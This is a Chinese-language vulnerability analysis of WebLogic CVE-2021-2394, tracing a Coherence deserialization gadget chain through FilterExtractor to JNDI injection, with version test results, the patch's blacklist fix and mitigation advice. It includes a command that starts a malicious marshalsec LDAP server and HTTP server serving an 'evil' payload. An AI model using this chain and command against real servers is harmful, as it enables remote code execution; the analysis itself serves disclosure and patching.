Weblogic CVE-2021-2394反序列化漏洞分析

keeeee  981天前

微信截图_20210813171150.png

作者:白帽汇安全研究院@kejaly

校对:白帽汇安全研究院@r4v3zn

前言

在2021年7月21日,Oracle官方发布了一系列安全更新。涉及旗下产品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 个漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm。其中,Oracle WebLogic Server 产品中有高危漏洞,漏洞编号为 CVE-2021-2394,CVSS 评分9.8分,影响多个 WebLogic 版本,且漏洞利用难度低,可基于 T3 和 IIOP 协议执行远程代码。

image.png

经过分析,此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链,利用FilterExtractor 这个类来对4月份补丁进行绕过。

补丁回顾

在4月份补丁中,对 ExternalizableHelper 中的 readExternalizable 做了修改,增加了对传入的 DataInput 判断,如果是 objectInputStream 类型就会调用 checkobjectInputFilter 函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 来造成 RCE 的方法已经行不通了。

image.png

调试环境

本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试

修改目录 user_project/domains/base_domain/bin 目录中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true

image.png

拷贝 Oracle_Home 目录下所有文件至调试目录,将 \coherence\lib\oracle_common\modules 目录下所有文件添加到 Libraries:

image.png

配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。

添加 remote 调试:

image.png

漏洞利用

该漏洞主要是因为 FilterExtractorreadExternal 方法中会直接 new 一个 MethodAttributeAccessor 对象,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制,来对4月份的补丁进行绕过。

FilterExtractor 类具有如下特征:

1.FilterExtractor 实现了 ExternalizableLite 接口,重写了 readExternal 方法:

image.pngimage.png

readExternal 会调用oracle.eclipselink.coherence.integrated.internal.cache.Serialization helper#readAttributeAccessor 方法:

image.png

可以看到会 new 一个 MethodAttributeAccessor 对象,然后根据 DataInput 赋值它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性(这就导致这三个属性是可控的)。

2.FilterExtractorextract 方法中存在 this.attributeAccessor.getAttributeValueFromobject() 的调用。

image.png

熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromobject() 来实现任意无参方法的调用的。

image.png

虽然 MethodAttributeAccessor 已经加入到了黑名单,但是在上面提到的 readExternal 方法中恰好直接 new 了一个 MethodAttributeAccessor 对象,也就是说不是通过反序列化得到 MethodAttributeAccessor 对象,自然也就不受黑名单的影响。

调用链

完整调用链如下:

image.png

image.png

漏洞分析

根据构造的 poc ,我们首先在 AttributeHolder 类的 readExternal方法中打上断点,另一边则运行我们的 poc ,成功断下:

image.png

步入,会调用到 com.tangosol.util.ExternalizableHelper 中的 readobject 方法:

image.png

步入,最后会进入到 com.tangosol.util.ExternalizableHelper中的 readobjectInternal 方法中调用 readExternalizableLite 方法:

image.png

image.png

步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先会调用 loadClass 去加载类,然后调用无参构造函数实例化一个对象,这里个加载的类是 com.tangosol.util.aggregator.TopNAggregator$PartialResult

image.png

image.png

随后会调用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法:

image.png

步入,会再次调用 com.tangosol.util.ExternalizableHelper.readobject 方法来读取一个对象并且赋值到 this.m_comparator 中,

image.png

步入,之后会再次调用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于这次读取的 sClassoracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以会实例化一个 FilterExtractor 对象,然后调用它的 readExternal 方法:

image.png

image.png

步入 ,来到 FilterExtractorreadExteral 中,会调用 oracle.eclipselink.coherence.integrated.internal.cache.Serialization helper#readAttributeAccessor 方法:

image.png

步入,会 new 一个 MethodAttributeAccessor 对象,并且调用 com.tangosol.util.Serialization helper#readobject 方法给 MethodAttributeAccessor 对象的 attributeName , getMethodNamesetMethodName 这三个属性赋值:

image.png

赋值之后的结果为:

image.png

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法中,this.m_comparator 变成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 对象:

image.png

image.png

接着在 182 行,会调用 this.instantiateInternalMap(this.m_comparator) 方法,步入,会把 FilterExtractor再封装到 WrapperCompator 中,然后传入 TreeMap的构造函数,实例化一个 TreeMap 对象并且返回:

image.png

image.png

186 行,调用 this.add 方法,这里 ExternalizableHelper.readobject(in)返回的是 JdbcRowSetImpl 对象

image.png

image.png

image.png

接着步入 super.add 方法:

image.png

然后会调用 TreeMap.put 方法,添加传入的 JdbcRowSetImpl 对象,最后会来到 com.tangosol.util.WrapperComparator#compare 方法并触发 this.f_comparator.compare 方法, this.f_comparator 正是之前传入的 FilterExtractor 对象:

image.png

image.png

步入,会调用 com.tangosol.util.extractor#compare 方法,这个方法中又会调用到 this.extract 方法,也就是会调用 FilterExtractor#extract方法,进而调用 this.attributeAccessorinitializeAttributes 方法, 而此时的 this.attributeAccssorMethodAttributeAccessor 对象,所以会调用 MethodAttributeAccessor#initializeAttributes 方法:

image.pngimage.png

MethodAttributeAccessor 中的 initializeAttributes 方法中首先会调用 this.setGetMethod 方法来设置 MethodAttributeAccessorgetMethod

image.png

其中 Helper.getDeclaredMethod 方法流程如下,是通过传入的类,方法名,以及参数类型来得到对应 classMethod

image.png

image.png

image.png

此时由于 theJavaClasscom.sun.rowset.JdbcRowSetImpl, this.getMethodName"prepare" ,所以第一次得到的 prepare 方法:

image.png

image.png

image.png

与 CVE-2020-14825 的反序列化流程不同的是, 因为在 initializeAttributes 的时候,我们不能再通过控制 isWriteOnly 属性为 true ,所以会进入到下面这个 if 分支里面去:

image.png

会先调用 this.getSetMethodParameterTypes 得到 this.getGetMethod 属性代表的方法的返回值:

image.png

image.png

this.getGetMethod 在上一步赋值为了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException

image.png

所以这里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement类型:

image.png

然后调用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就会得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。

initializeAttributes 结束后 MethodAttributeAccessor的属性值:

image.png

接着,回到 FilterExtractor#extract 方法中,会继续调用 this.attributeAccessor.getAttributeValueFromobject 也就是调用 MethodAttributeAccessor.getAttributeValueFromobject 方法:

image.png

步入:

image.png

步入,会利用反射调用方法:

image.png

此时 this.getMethodprotected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLExceptionabobjectJbbcRoeSetImpl

image.png

这就导致了 jndi 注入的产生:

image.png

image.png

image.png

我们在本地使用 marshalsec 搭建恶意 jndi 服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389python -m http.server

成功 RCE:

image.png

jndi 版本问题

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,所以此 ldap + jndi 导致 RCE 的方法失效。

10.3.6.0 问题

image.png

在使用基于 TopNAggregator.PartialResult 的 poc 对官网说的版本进行复现的时候,发现 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator 这两个类:

image.png

缺少 SortedBag

image.png

缺少 TopNAggregator :

image.png

weblogic 版本问题

使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:

jar 版本weblogic 版本成功情况
12.1.3.0.012.1.3.0.0成功
12.1.3.0.012.2.1.3.0失败
12.1.3.0.012.2.1.4.0失败
12.1.3.0.014.1.1.0.0失败
12.2.1.3.012.1.3.0.0失败
12.2.1.3.012.2.1.3.0成功
12.2.1.3.012.2.1.4.0成功
12.2.1.3.014.1.1.0.0成功
12.2.1.4.012.1.3.0.0失败
12.2.1.4.012.2.1.3.0成功
12.2.1.4.012.2.1.4.0成功
12.2.1.4.014.1.1.0.0成功
14.1.1.0.012.1.3.0.0失败
14.1.1.0.012.2.1.3.0成功
14.1.1.0.012.2.1.4.0成功
14.1.1.0.014.1.1.0.0成功

7月份补丁影响

打了7月份补丁之后,会报错:

image.png

原因是在 WebLogicFilterConfig 类的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 这个包:

image.png

FilterExtractor 类正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以导致被黑名单拦截了下来。

修复建议

通用修补建议

Oracle官方已经发布补丁,及时进行更新:https://www.oracle.com/security-alerts/cpujul2021.html

Weblogic 临时修补建议

  1. 如果不依赖 T3协议进行 JVM通信,可禁用 T3协议。

  2. 如果不依赖 IIOP协议进行 JVM通信,可禁用 IIOP协议。

参考

https://www.cnblogs.com/potatsoSec/p/15062094.html

https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA

最新评论

昵称
邮箱
提交评论